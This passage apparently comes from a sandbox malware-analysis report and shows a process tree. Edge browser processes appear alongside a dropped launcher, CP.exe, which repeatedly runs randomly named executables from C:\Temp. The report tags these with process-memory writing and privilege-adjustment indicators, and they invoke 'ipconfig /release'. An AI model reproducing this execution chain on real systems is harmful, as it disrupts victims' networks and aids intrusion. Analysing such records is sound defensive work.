      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3608,i,12097973250348039268,6027308421957243391,2097152 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=3752 /prefetch:1
      4⤵
      PID:5060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3616,i,13024994364021528113,7772736095040900424,2097152 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=3808 /prefetch:1
      4⤵
      PID:6072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4304,i,2704460340530504395,9002609108253002006,2097152 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=4496 /prefetch:1
      4⤵
      PID:3160
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4360,i,10054535005702073242,291531047841690410,2097152 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=4500 /prefetch:9
      4⤵
      PID:204
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4448,i,14509830030476422479,7518177989240947291,2097152 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=4504 /prefetch:1
      4⤵
      PID:120
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5512,i,1598416778579291672,4570170216891893043,524288 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:14
      4⤵
      PID:2312
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5544,i,3894579385421109633,6505154655518366658,524288 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=5632 /prefetch:14
      4⤵
      PID:5648
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5640,i,720568911583969766,4491975282236245222,524288 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=5676 /prefetch:14
      4⤵
      PID:2492
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6288,i,477782694962685720,2520254850408406467,524288 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=6308 /prefetch:14
      4⤵
      PID:4336
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6288,i,477782694962685720,2520254850408406467,524288 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=6308 /prefetch:14
      4⤵
      PID:2104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6276,i,10849510738358066106,5166949456114748815,524288 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=6504 /prefetch:14
      4⤵
      PID:4168
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6644,i,15979023937386099181,17272860356530286275,524288 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=6652 /prefetch:14
      4⤵
      PID:4948
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4928,i,7169875874294485861,17264354329000483256,524288 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=1280 /prefetch:14
      4⤵
      PID:3220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5296,i,1867404108239690408,11030919743995472058,524288 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=6288 /prefetch:14
      4⤵
      PID:3676
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6364,i,7866731715551087159,7543881275499722669,524288 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=4444 /prefetch:14
      4⤵
      PID:5628
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5800,i,15087659778189117170,14544887430710642833,524288 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:14
      4⤵
      PID:1876
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1452,i,6726370764439927577,12027216625961257778,524288 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=5668 /prefetch:14
      4⤵
      PID:4440
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6856,i,8744000273601113385,1489556547825194643,262144 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:10
      4⤵
      PID:5780
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5548,i,17540535525552956343,11769488955506968665,524288 --field-trial-handle=2508,i,3940477087566393278,15377882202656752495,262144 --variations-seed-version --mojo-platform-channel-handle=5788 /prefetch:14
      4⤵
      PID:5380
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hcaupnhfzu.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4592
- - C:\Temp\hcaupnhfzu.exe
    C:\Temp\hcaupnhfzu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2400
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2496
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5980
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hcaupnhfzu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2808
- - C:\Temp\i_hcaupnhfzu.exe
    C:\Temp\i_hcaupnhfzu.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1992
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xurmkhbzur.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4956
- - C:\Temp\xurmkhbzur.exe
    C:\Temp\xurmkhbzur.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6056
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5224
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5756
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xurmkhbzur.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2556
- - C:\Temp\i_xurmkhbzur.exe
    C:\Temp\i_xurmkhbzur.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1996
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hbztrmjecw.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4324
- - C:\Temp\hbztrmjecw.exe
    C:\Temp\hbztrmjecw.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4104
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5836
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:680
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hbztrmjecw.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3400
- - C:\Temp\i_hbztrmjecw.exe
    C:\Temp\i_hbztrmjecw.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4872
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\eywtrljgeb.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5944
- - C:\Temp\eywtrljgeb.exe
    C:\Temp\eywtrljgeb.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1992
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2864
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1688
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_eywtrljgeb.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4308
- - C:\Temp\i_eywtrljgeb.exe
    C:\Temp\i_eywtrljgeb.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:764
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\trljdbvtol.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3848
- - C:\Temp\trljdbvtol.exe
    C:\Temp\trljdbvtol.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3376
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4624
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5712
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_trljdbvtol.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1796
- - C:\Temp\i_trljdbvtol.exe
    C:\Temp\i_trljdbvtol.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5276
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bvtnljdayv.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1256
- - C:\Temp\bvtnljdayv.exe
    C:\Temp\bvtnljdayv.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2396
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4212
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:6044
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_bvtnljdayv.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2276
- - C:\Temp\i_bvtnljdayv.exe
    C:\Temp\i_bvtnljdayv.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3520
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\qkifaysqki.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4776
- - C:\Temp\qkifaysqki.exe
    C:\Temp\qkifaysqki.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:872
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1940
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1920
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_qkifaysqki.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1988
- - C:\Temp\i_qkifaysqki.exe
    C:\Temp\i_qkifaysqki.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1056
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\kfdxvpnhfa.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4260
- - C:\Temp\kfdxvpnhfa.exe
    C:\Temp\kfdxvpnhfa.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4252
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3012
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1884
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_kfdxvpnhfa.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5584
- - C:\Temp\i_kfdxvpnhfa.exe
    C:\Temp\i_kfdxvpnhfa.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5128
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\zxrpnhfzxu.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2460
- - C:\Temp\zxrpnhfzxu.exe
    C:\Temp\zxrpnhfzxu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6120
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1732
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2624
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_zxrpnhfzxu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5536
- - C:\Temp\i_zxrpnhfzxu.exe
    C:\Temp\i_zxrpnhfzxu.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2384
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ecxupmhfzx.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5688
- - C:\Temp\ecxupmhfzx.exe
    C:\Temp\ecxupmhfzx.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1712
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2468
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1568
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ecxupmhfzx.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4352
- - C:\Temp\i_ecxupmhfzx.exe
    C:\Temp\i_ecxupmhfzx.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1188
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bzurmjhezw.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5460
- - C:\Temp\bzurmjhezw.exe
    C:\Temp\bzurmjhezw.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4476
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:248
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2924
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_bzurmjhezw.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2300
- - C:\Temp\i_bzurmjhezw.exe
    C:\Temp\i_bzurmjhezw.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4332
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ebwuomgeyw.exe ups_run
  2⤵
  PID:5272
- - C:\Temp\ebwuomgeyw.exe
    C:\Temp\ebwuomgeyw.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1432
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2928
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1204
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ebwuomgeyw.exe ups_ins
  2⤵
  PID:796
- - C:\Temp\i_ebwuomgeyw.exe
    C:\Temp\i_ebwuomgeyw.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5720
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jywqoidbvt.exe ups_run
  2⤵
  PID:3116
- - C:\Temp\jywqoidbvt.exe
    C:\Temp\jywqoidbvt.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1740
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4756
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3812
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jywqoidbvt.exe ups_ins
  2⤵
  PID:4668
- - C:\Temp\i_jywqoidbvt.exe
    C:\Temp\i_jywqoidbvt.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2924
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\dbvtolgdyw.exe ups_run
  2⤵
  PID:3568
- - C:\Temp\dbvtolgdyw.exe
    C:\Temp\dbvtolgdyw.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5784
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1888
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2772
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_dbvtolgdyw.exe ups_ins
  2⤵
  PID:5756
- - C:\Temp\i_dbvtolgdyw.exe
    C:\Temp\i_dbvtolgdyw.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3300
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\idavtnlfdb.exe ups_run
  2⤵
  PID:4388
- - C:\Temp\idavtnlfdb.exe
    C:\Temp\idavtnlfdb.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5668
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2904
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4136
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_idavtnlfdb.exe ups_ins
  2⤵
  PID:4244
- - C:\Temp\i_idavtnlfdb.exe
    C:\Temp\i_idavtnlfdb.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1216
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\spnifaxsqn.exe ups_run
  2⤵
  PID:3144
- - C:\Temp\spnifaxsqn.exe
    C:\Temp\spnifaxsqn.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5864
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2596
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5088
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_spnifaxsqn.exe ups_ins
  2⤵
  PID:5808
- - C:\Temp\i_spnifaxsqn.exe
    C:\Temp\i_spnifaxsqn.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1920
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\faxsqkiusn.exe ups_run
  2⤵
  PID:1488
- - C:\Temp\faxsqkiusn.exe
    C:\Temp\faxsqkiusn.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1556
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1240
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:884
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_faxsqkiusn.exe ups_ins
  2⤵
  PID:4136
- - C:\Temp\i_faxsqkiusn.exe
    C:\Temp\i_faxsqkiusn.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4988
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\fzxusmkecx.exe ups_run
  2⤵
  PID:768
- - C:\Temp\fzxusmkecx.exe
    C:\Temp\fzxusmkecx.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5920
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4304
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5732
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_fzxusmkecx.exe ups_ins
  2⤵
  PID:1156
- - C:\Temp\i_fzxusmkecx.exe
    C:\Temp\i_fzxusmkecx.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1300
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\zxuomhezxr.exe ups_run
  2⤵
  PID:6136
- - C:\Temp\zxuomhezxr.exe
    C:\Temp\zxuomhezxr.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2624
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:6044
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2916
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_zxuomhezxr.exe ups_ins
  2⤵
  PID:2344
- - C:\Temp\i_zxuomhezxr.exe
    C:\Temp\i_zxuomhezxr.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3220
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ebwurpjhec.exe ups_run
  2⤵
  PID:3808
- - C:\Temp\ebwurpjhec.exe
    C:\Temp\ebwurpjhec.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5924
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4328
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4648
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ebwurpjhec.exe ups_ins
  2⤵
  PID:4232
- - C:\Temp\i_ebwurpjhec.exe
    C:\Temp\i_ebwurpjhec.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4964

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2160

